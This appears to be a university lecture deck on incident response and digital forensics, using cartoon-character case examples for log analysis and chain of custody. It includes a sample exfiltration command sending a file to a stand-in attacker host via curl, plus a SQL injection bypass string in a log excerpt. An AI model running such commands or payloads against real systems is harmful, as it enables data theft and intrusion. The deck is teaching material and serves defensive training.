Information Security Incident Response

Fundamentals and Best Practices

Brendan Shea, PhD

Department of Computer Science

March 11, 2025

Introduction to Incident Response: Protecting Digital Assets

- **Security incidents** are events that compromise the confidentiality, integrity, or availability of information systems and data.
- Incident Response (IR) is a structured methodology for addressing and managing the aftermath of security breaches or attacks.
- Effective incident response minimizes damage, reduces recovery time, and decreases the overall cost of a security incident.
- Organizations with mature incident response capabilities experience 72% lower costs from security breaches.

Key Concept

Incident response is not just reactive—it includes preparation and preventive measures that happen before incidents occur.

The Incident Response Lifecycle: An Overview

- The incident response lifecycle consists of seven interconnected phases that form a continuous improvement cycle.
- Each phase builds upon the previous one to create a comprehensive approach to security incident management.
- The process begins with preparation long before an incident occurs and concludes with lessons that improve future responses.
- Following a structured approach ensures that important steps are not missed during the stress of an active incident.

Phase	**Primary Goal**
Preparation	Establish capabilities before incidents occur
Detection	Identify potential security incidents quickly
Analysis	Determine scope, impact, and response strategy
Containment	Limit damage and prevent further spread

Preparation Phase: Building Your Security Foundation

- **Preparation** involves developing the necessary procedures, tools, and resources needed before security incidents occur.
- A formal incident response plan documents roles, responsibilities, communication strategies, and escalation procedures.
- Technical preparation includes deployment of security tools, establishing baselines, and creating response playbooks.
- Organizational preparation requires executive support, adequate funding, and clear authority for the incident response team.

Example: IR Plan Components

- Incident classification matrix
- Contact information for all stakeholders
- Communication templates
- Decision-making authority guidelines

Detection Mechanisms: Identifying Security Incidents

- **Detection** is the process of identifying potential security incidents through both automated and manual means.
- Security tools like SIEM systems, IDS/IPS, and EDR solutions provide automated detection capabilities for known threat patterns.
- Human detection often comes from end users reporting suspicious activities or security personnel identifying anomalies.
- Effective detection requires establishing baselines of normal behavior to recognize deviations that may indicate security incidents.

Detection Time Matters

The average time to detect a breach is 207 days, but organizations with mature detection capabilities can reduce this to hours or minutes, significantly limiting potential damage.

Incident Analysis: Making Sense of Security Events

- **Analysis** involves examining available evidence to understand the nature, scope, and impact of a security incident.
- Initial triage determines if an event is a genuine security incident and estimates its severity to prioritize response efforts.
- Technical analysis examines logs, network traffic, and affected systems to identify attack vectors and compromised assets.
- Impact analysis assesses potential business, operational, and legal consequences to guide containment and recovery decisions.

Critical Questions During Analysis

- What systems and data have been compromised?
- How did the attackers gain access?
- Are attackers still present in the environment?
- What is the potential impact to the organization?

Containment Strategies: Limiting the Damage

- **Containment** focuses on preventing the incident from spreading further within the organization's environment.
- Short-term containment implements immediate measures to limit damage, such as isolating affected systems from the network.
- Long-term containment applies temporary fixes to allow systems to be used in production while final remediation is developed.
- Containment decisions balance security needs with business continuity requirements to minimize operational impact.

Containment Techniques

```
# Network isolation command example
$ iptables -A INPUT -s <malicious_IP> -j DROP
$ iptables -A OUTPUT -d <malicious_IP> -j DROP
```

Eradication Techniques: Removing the Threat

- **Eradication** involves completely removing the threat from all affected systems in the environment.
- Identifying all affected systems requires thorough analysis of indicators of compromise (IOCs) across the environment.
- Removal techniques include patching vulnerabilities, cleaning infected systems, or rebuilding systems from trusted images.
- After initial eradication, verification procedures confirm that all malicious components have been successfully removed.

Eradication Method	When to Use
Patching	Exploitation of known vulnerability
Malware removal	Limited malware infection
System rebuilding	Deep compromise or backdoors
User account reset	Compromised credentials

Recovery Procedures: Returning to Normal Operations

- **Recovery** focuses on restoring affected systems and services to normal operation in a secure manner.
- Systems should be restored in a prioritized order based on business criticality and dependencies between systems.
- Enhanced monitoring is implemented during recovery to detect any signs of persistent access or reinfection attempts.
- Recovery is complete when systems return to normal operations with verification that security controls are functioning properly.

Recovery Time Objective (RTO)

The **Recovery Time Objective** defines the maximum acceptable time to restore a system after an incident, balancing business needs with security requirements.

Lessons Learned: Evolving Your Security Posture

- The **Lessons Learned** phase transforms incident experiences into organizational knowledge that improves future security.
- Post-incident reviews should occur within two weeks of incident resolution while details are still fresh in team members' minds.
- Effective reviews focus on process improvements rather than assigning blame, creating a safe environment for honest discussion.
- Findings should be documented and translated into specific, actionable improvements with assigned responsibilities and deadlines.

Key Post-Incident Questions

- What detection mechanisms worked/failed?
- Were response procedures followed effectively?
- What could have prevented the incident?
- How can we reduce future impact/recovery time?

Building an Effective Incident Response Team

- An effective **Incident Response Team** combines technical expertise with clear roles, responsibilities, and authority.
- Core team members often include security analysts, system administrators, network engineers, and legal/communications specialists.
- The team structure can be centralized, distributed, or hybrid depending on organizational size and geographic distribution.
- Clear escalation paths and decision-making authority are critical for rapid response during active incidents.

Role	**Primary Responsibility**
Incident Commander	Overall coordination and decision-making
Technical Lead	Directing technical response activities
Communications Lead	Stakeholder and external communications
Documentation Specialist	Recording actions and maintaining evidence

Incident Response Training: Developing Security Skills

- **Training** ensures that incident response team members develop and maintain the necessary skills for effective response.
- Technical training covers tools, techniques, and procedures specific to the organization's security technology stack.
- Process training ensures team members understand their roles, responsibilities, and the incident response workflow.
- Specialized training in areas like digital forensics, malware analysis, and threat hunting creates depth of expertise.

Training Requirements

Incident response team members should receive at least 40 hours of specialized security training annually to maintain skills and stay current with evolving threats and technologies.

Testing Your Incident Response Plan: Tabletop Exercises

- **Tabletop exercises** are discussion-based sessions where team members talk through their response to simulated scenarios.
- These exercises validate roles, responsibilities, and decision-making processes without disrupting production systems.
- Effective scenarios should be realistic, relevant to the organization's threat profile, and increase in complexity over time.
- Exercises should include representatives from all stakeholder groups involved in incident response, including executive leadership.

Sample Tabletop Scenario

The security team has detected unusual outbound network traffic from several servers in the finance department occurring outside business hours. Initial investigation suggests possible data exfiltration. How would your team respond?

Simulation Exercises: Real-World Response Practice

- **Simulation exercises** provide hands-on practice by introducing real artifacts of security incidents in controlled environments.
- Technical simulations may include responding to actual malware in isolated lab environments or detecting planted indicators of compromise.
- Full-scale simulations test the entire incident response process from detection through recovery with realistic time pressures.
- These exercises should be conducted at least annually with findings incorporated into improved procedures and additional training.

Red Team Command Example

```
# Simulated data exfiltration command
$ curl -X POST -d @sensitive_data.txt https://attacker.example.com
```

Root Cause Analysis: Finding the Source of Security Incidents

- **Root Cause Analysis (RCA)** is a systematic process for identifying the fundamental reasons why an incident occurred.
- Effective RCA looks beyond the immediate technical cause to identify organizational, procedural, and systemic factors.
- The "5 Whys" technique involves asking "why" multiple times to drill down from symptoms to underlying causes.
- Addressing root causes, rather than just symptoms, prevents similar incidents from recurring in the future.

Root Cause Categories

- Technical: Vulnerabilities, misconfigurations, bugs
- Process: Inadequate procedures, unclear responsibilities
- People: Training gaps, human error, malicious actions
- Environmental: Third-party dependencies, system interactions

Threat Hunting Fundamentals: Proactive Security

- **Threat hunting** is the proactive search for malicious activity that has evaded existing security controls.
- Unlike monitoring, hunting starts with a hypothesis about potential attacker techniques rather than waiting for alerts.
- Effective hunting requires deep knowledge of normal system behavior to identify subtle anomalies and potential threats.
- Hunting findings improve detection capabilities by identifying gaps in existing security controls and creating new detection rules.

The MITRE ATT&CK Framework

The MITRE ATT&CK Framework provides a comprehensive knowledge base of adversary tactics and techniques that serves as an excellent foundation for developing threat hunting hypotheses.

Introduction to Digital Forensics: Legal and Technical Foundations

- **Digital forensics** is the application of scientific methods to recover and investigate digital evidence for legal purposes.
- Forensic investigations must maintain the integrity of evidence while extracting actionable information about security incidents.
- The forensic process must be documented, repeatable, and defensible to ensure findings can be used in legal proceedings if necessary.
- Digital forensics supports incident response by providing detailed information about attack methods and affected systems.

Digital Forensics vs. Incident Response

While incident response focuses primarily on containing and remediating security incidents, digital forensics emphasizes evidence collection and preservation methods that support potential legal action.

Legal Hold Requirements: Preserving Digital Evidence

- A **legal hold** is a process to preserve all forms of relevant information when litigation is reasonably anticipated.
- Organizations must suspend normal data deletion and implement preservation measures when security incidents may involve legal issues.
- Legal holds require coordination between IT, security, legal, and records management teams to ensure comprehensive preservation.
- The scope of preservation should be broad initially and may be narrowed as the investigation proceeds and facts become clearer.

Key Legal Hold Considerations

When implementing a legal hold, document the scope, timing, and notification process. Failure to preserve evidence can result in legal sanctions, including adverse inference instructions to juries.

Chain of Custody: Maintaining Evidence Integrity

- **Chain of custody** documents the chronological history of evidence, showing who possessed it and what actions were performed on it.
- Proper documentation includes details about collection date/time, collector identity, location, storage methods, and transfers between individuals.
- Digital evidence should be handled in ways that minimize changes to preserve its authenticity and admissibility in legal proceedings.
- Chain of custody documentation should be maintained from initial collection through final disposition of all evidence.

Chain of Custody Documentation

Element	Required Information
Evidence ID	Unique identifier for the evidence item
Handler	Name and role of each person handling evidence
Timestamps	Date/time of collection and each transfer
Actions	Any analysis or processing performed

Example: Addams Family Digital Forensics - Chain of Custody

- The Addams Family Forensics Consulting was hired to investigate a ransomware incident at Westfield Hospital.
- Morticia Addams led the evidence collection process, ensuring proper documentation of all digital artifacts acquired from infected systems.
- Gomez Addams maintained detailed chain of custody records for all storage devices, backup tapes, and network equipment removed for analysis.
- Wednesday Addams conducted memory forensics on critical servers, identifying the ransomware variant and potential patient data exposure.

Addams Family Chain of Custody Document

```
Evidence Item: HP-SRV01-DRIVE1
Date/Time: 2025-03-07 23:13
Collected by: Morticia Addams, Lead Investigator
Location: Server Room B, Main Rack, Position 3
Description: 2TB SSD from primary patient records server
Hash: e7d7d7ac8125d8abe6da7d269f02f048e2c2a42e1251
Transfer:
2025-03-07 23:45 - Wednesday Addams, Forensic Analyst
2025-03-08 09:15 - Lurch, Evidence Custodian
"You called for evidence?"
```

Evidence Acquisition: Capturing Digital Artifacts

- **Acquisition** is the process of creating forensically sound copies of digital evidence while maintaining data integrity.
- Write blockers are used during acquisition to prevent inadvertent modification of original evidence during the copying process.
- Cryptographic hashes verify that forensic copies are exact duplicates of the original data, establishing authenticity.
- Acquisition methods vary based on the evidence type, ranging from disk imaging to memory dumps and network traffic capture.

Disk Imaging Command

```
# Create forensic image with verification
$ dd if=/dev/sda bs=512 | \
tee evidence.img | sha256sum > evidence.sha256
```

Forensic Analysis: Extracting Actionable Intelligence

- **Forensic analysis** examines collected evidence to reconstruct events, identify attack methods, and assess system compromise.
- Timeline analysis correlates events across multiple data sources to build a chronological history of the incident.
- Artifact analysis examines specific system components like registry entries, log files, and filesystem metadata for evidence of malicious activity.
- Memory analysis can reveal malware, encryption keys, and network connections not visible in persistent storage analysis.

Important Forensic Artifacts

- Windows: Registry, Event Logs, Prefetch files, MFT
- Linux: Auth logs, Bash history, /proc filesystem
- Network: DHCP leases, DNS cache, ARP tables
- Web: Browser history, cookies, cached content

Forensic Reporting: Documenting Your Findings

- **Forensic reports** document investigative findings in a clear, objective, and defensible manner for various stakeholders.
- Technical reports provide detailed analysis and evidence for security teams to improve defenses and response capabilities.
- Executive reports summarize key findings, business impact, and recommendations without technical jargon for leadership decisions.
- Legal reports focus on evidence admissibility, attack attribution, and elements that support potential legal proceedings.

Effective Forensic Reports

Forensic reports should clearly distinguish between facts, investigative methods, and analyst opinions or conclusions to maintain credibility and usefulness in legal contexts.

Evidence Preservation: Long-term Storage Considerations

- **Evidence preservation** ensures digital evidence remains intact and accessible for as long as needed for legal or security purposes.
- Preservation timeframes vary based on legal requirements, ranging from months for routine incidents to years for major breaches.
- Storage solutions must maintain evidence integrity through encryption, access controls, and protection from environmental hazards.
- Regular validation of preserved evidence ensures it remains accessible and uncorrupted throughout the required retention period.

Evidence Storage Best Practices

- Store at least two copies in separate physical locations
- Use write-once media or immutable storage solutions
- Implement strong access controls with detailed logs
- Verify evidence integrity through periodic hash verification

E-Discovery: Supporting Legal Proceedings

- **E-Discovery** is the process of identifying, collecting, and producing electronically stored information in response to legal requests.
- The Electronic Discovery Reference Model (EDRM) provides a framework for handling digital evidence in legal contexts.
- Organizations must balance broad preservation early in investigations with targeted collection as case specifics become clearer.
- Early case assessment helps estimate the scope, cost, and effort required for e-discovery to inform legal strategy.

EDRM Phase	Key Activities
Information Governance	Managing data from creation to disposal
Identification	Locating potential sources of relevant data
Preservation	Ensuring relevant data is protected from alteration
Collection	Gathering data for further processing and review

The Power of Log Data in Investigations

- **Log data** provides a recorded history of events that occurred within systems, applications, and networks over time.
- Effective log management requires centralized collection, consistent time synchronization, and appropriate retention periods.
- Logs serve as a primary source of evidence in security investigations, providing details about what happened and when.
- The most valuable logs contain information about authentication events, access control decisions, and system state changes.

Log Management Challenges

Organizations face significant challenges in log management, including high volumes (often terabytes per day), diverse formats, storage costs, and the need to balance detail with performance impact.

Firewall Logs: Monitoring Network Boundaries

- **Firewall logs** record allowed and blocked connection attempts at network boundaries, helping identify unauthorized access attempts.
- Key fields include source/destination IP addresses, ports, protocols, timestamp, and the action taken (allow/deny).
- Stateful firewalls may log connection states (new, established, related) providing context about traffic flows over time.
- Analysis of denied connections can reveal reconnaissance activities and potential exploitation attempts by attackers.

Sample Firewall Log Entry

```
Mar 10 15:22:43 fw01 kernel: BLOCK IN=eth0 OUT=
MAC=00:16:3e:2f:29:c1 SRC=198.51.100.12 DST=10.0.1.5
LEN=60 TOS=0x00 TTL=63 ID=57422 PROTO=TCP
SPT=45892 DPT=22 WINDOW=64240 SYN
```

Example: Mystery Inc. Security Team - Firewall Log Analysis

- The Mystery Inc. cybersecurity team discovered suspicious network traffic while investigating a breach at Coolsville Industries.
- Velma Dinkley identified patterns in the firewall logs showing reconnaissance attempts from a suspicious IP address.
- The team correlated the logs with previous incidents to establish a timeframe for the initial compromise.
- Fred Jones implemented enhanced firewall rules to block the malicious IP range and prevent further reconnaissance.

Mystery Inc. Firewall Log Excerpt

```
2025-03-05 02:13:45 DENY TCP 198.51.100.73:45122 -> 10.0.3.25:22
flags=S len=44
2025-03-05 02:13:47 DENY TCP 198.51.100.73:45123 -> 10.0.3.26:22
flags=S len=44
2025-03-05 02:13:48 DENY TCP 198.51.100.73:45124 -> 10.0.3.27:22
flags=S len=44
Velma: "Jinkies! This is a clear SSH port scan pattern!"
```

Application Logs: Tracking Software Behavior

- **Application logs** record events and transactions within software systems, providing visibility into user actions and system processes.
- Web server logs track HTTP requests, including client IP addresses, requested resources, response codes, and user agents.
- Database logs record queries, schema changes, and authentication events that may indicate data exfiltration or manipulation.
- Authentication logs show successful and failed login attempts, password changes, and privilege escalations across applications.

Key Application Log Elements

- Timestamp with timezone information
- User identity and source IP address
- Action performed or attempted
- Resource accessed or affected
- Result of the action (success/failure)

Example: Planet Express Security - Application Log Analysis

- The Planet Express security team detected unauthorized access to their package tracking system through web application login anomalies.
- Bender Rodríguez identified suspicious login patterns where users were successfully authenticated despite providing incorrect passwords.
- Professor Farnsworth analyzed the application logs, discovering SQL injection attempts that bypassed authentication controls.
- Leela implemented immediate containment, applying a web application firewall rule to block the malicious input patterns.

Planet Express Web Application Logs

```
[2025-03-10T14:22:31] [app-srv-42] [INFO] Login attempt:
user=delivery_admin ip=203.0.113.42 status=SUCCESS
[2025-03-10T14:22:33] [app-srv-42] [DEBUG] SQL query:
SELECT * FROM users WHERE username=’delivery_admin’
AND password=’’ OR ’1’=’1’ --’
[2025-03-10T14:22:35] [app-srv-42] [WARN] Admin accessed
customer database from unusual location
Bender: "Bite my shiny metal SQL injection!"
```

Endpoint Logs: Understanding Device Activity

- **Endpoint logs** provide detailed information about activities occurring on individual devices like workstations and servers.
- Process execution logs record application launches, including execution path, command-line arguments, and parent processes.
- File system logs track file creation, modification, and deletion events that may indicate malware installation or data theft.
- Network connection logs from endpoints reveal which processes are communicating with external systems and potential command and control channels.

Endpoint Detection and Response (EDR)

Modern EDR solutions combine real-time monitoring, behavioral analytics, and threat intelligence to provide comprehensive visibility into endpoint activity, substantially enhancing security teams' investigative capabilities.

OS Security Logs: System-Level Monitoring

- **OS security logs** record system-level security events like user authentication, privilege use, and security policy changes.
- Windows Event Logs capture security events in a structured format with event IDs that correspond to specific types of activities.
- Linux audit logs track system calls, providing detailed visibility into process activities and security-relevant operations.
- Configuring appropriate logging levels requires balancing security visibility with system performance and storage requirements.

Windows Event ID	**Description**	**Security Relevance**
4624	Successful logon	Authentication monitoring
4625	Failed logon	Brute force detection
4698	Scheduled task created	Persistence mechanism
4720	User account created	Account management

IPS/IDS Logs: Identifying Attack Patterns

- **Intrusion Prevention/Detection System (IPS/IDS) logs** record attempted or successful exploitation of vulnerabilities.
- Signature-based detection triggers alerts when traffic matches known attack patterns or malicious payloads.
- Anomaly-based detection identifies deviations from baseline behavior that may indicate novel attack techniques.
- IPS/IDS logs include rich context like attack classification, severity rating, and references to known vulnerabilities.

Sample Snort IDS Alert

```
[**] [1:1000001:1] SQL Injection Attempt [**]
[Classification: Web Application Attack] [Priority: 1]
03/10-14:22:17.524613 192.168.1.100:49812 -> 10.0.0.15:80
TCP TTL:64 TOS:0x0 ID:20095 IpLen:20 DgmLen:725
***AP*** Seq: 0x6D57A73F Ack: 0x9B5CF4D Win: 0x7210
```

Example: TMNT SOC - IDS Alert Correlation

- The Teenage Mutant Ninja Turtles Security Operations Center (TMNT SOC) detected a potential data exfiltration attempt at April O'Neil's news network.
- Donatello correlated IDS alerts with application logs to identify unusual database access patterns from an authenticated user account.
- Leonardo led the incident response team through the containment process, isolating affected systems while maintaining critical services.
- Raphael and Michelangelo conducted a root cause analysis, tracing the attack to a phishing email that compromised a journalist's credentials.

TMNT Incident Summary

The TMNT team identified that an adversary had been accessing the news database for 3 days, exfiltrating sensitive interview notes and source information using DNS tunneling to avoid standard data loss prevention controls. The attack chain began with a targeted phishing email appearing to come from a trusted source.

Network Traffic Analysis: Understanding Communication Flows

- **Network traffic analysis** examines data moving between systems to identify suspicious communications and data movement.
- Netflow records provide summarized traffic information including source/destination addresses, ports, protocols, and data volumes.
- Full packet capture allows detailed inspection of actual data transferred but requires significant storage and processing resources.
- Encrypted traffic analysis uses metadata and traffic patterns to identify threats even when payload contents are not accessible.

Network Traffic Analysis Levels

- Flow data: Connection metadata only (who talked to whom)
- Protocol analysis: Communication structure without content
- Deep packet inspection: Full content analysis
- Behavioral analysis: Pattern recognition across traffic

Metadata: The Data About Your Data

- **Metadata** provides contextual information about files, communications, and systems that is often critical in investigations.
- File metadata includes creation, modification, and access timestamps, owner information, and application-specific details.
- Email metadata contains sender/recipient information, relay servers, subject lines, and attachment details separate from message content.
- Metadata often persists even when content is deleted or modified, providing valuable forensic artifacts for investigators.

Metadata Investigative Value

In many investigations, metadata proves more valuable than content because it establishes patterns, relationships, and timelines that would not be apparent from examining content alone.

Vulnerability Scan Results: Finding Security Weaknesses

- **Vulnerability scan results** identify security weaknesses in systems and applications that could be exploited by attackers.
- Historical scan data helps investigators determine if a specific vulnerability existed at the time of an incident and was potentially exploited.
- Comparing pre-incident and post-incident scan results can reveal unauthorized system changes and new security weaknesses.
- Vulnerability information provides context about attack difficulty, potential impact, and exploitation techniques.

Common Vulnerability Scoring System (CVSS)

The CVSS provides a standardized framework for assessing vulnerability severity based on exploitability factors (attack vector, complexity, privileges required) and impact factors (confidentiality, integrity, availability).

Leveraging Automated Security Reports

- **Automated security reports** from various tools provide regular assessments of security posture and potential issues.
- Antimalware reports document detected threats, affected systems, and remediation actions taken before a full incident developed.
- Data Loss Prevention (DLP) reports track sensitive data movement and potential exfiltration attempts across the environment.
- User behavior analytics reports highlight unusual activity patterns that may indicate compromised accounts or insider threats.

Report Type	**Investigation Value**
Phishing campaign results	Identify initial access vectors
Password policy violations	Discover credential weaknesses
Patch management status	Reveal vulnerable systems
Cloud security posture	Detect misconfigurations

Security Dashboards: Visualizing Threat Data

- **Security dashboards** aggregate and visualize data from multiple sources to provide situational awareness during investigations.
- Real-time dashboards display current security status and ongoing incidents, supporting active response operations.
- Trend dashboards show patterns over time, helping identify slow-developing attacks and gradual security degradation.
- Relationship dashboards reveal connections between entities (users, systems, files) that may not be apparent in raw data.

Effective Dashboard Design

Security dashboards should prioritize actionable information over raw data, use appropriate visualization techniques for different data types, and allow investigators to drill down from high-level overviews to detailed evidence.

Case Studies: Applying Incident Response in Real Scenarios

- **Case studies** demonstrate how incident response principles and techniques apply to real-world security incidents.
- Analyzing past incidents shows how different response approaches affect containment time, recovery costs, and overall damage.
- Industry-specific case studies help organizations understand threats relevant to their sector and appropriate response strategies.
- Learning from others' experiences allows security teams to prepare for similar incidents before they occur.

Ransomware Case Study

```
Timeline:
T+0h: Initial phishing email received
T+2h: Malicious attachment opened, initial access
T+6h: Lateral movement begins
T+24h: Encryption process initiated
T+26h: Detection via monitoring alert
T+48h: Full recovery completed from backups
```